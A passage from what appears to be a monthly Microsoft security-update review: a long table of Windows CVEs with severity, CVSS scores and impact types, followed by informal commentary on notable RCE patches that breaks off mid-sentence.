Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 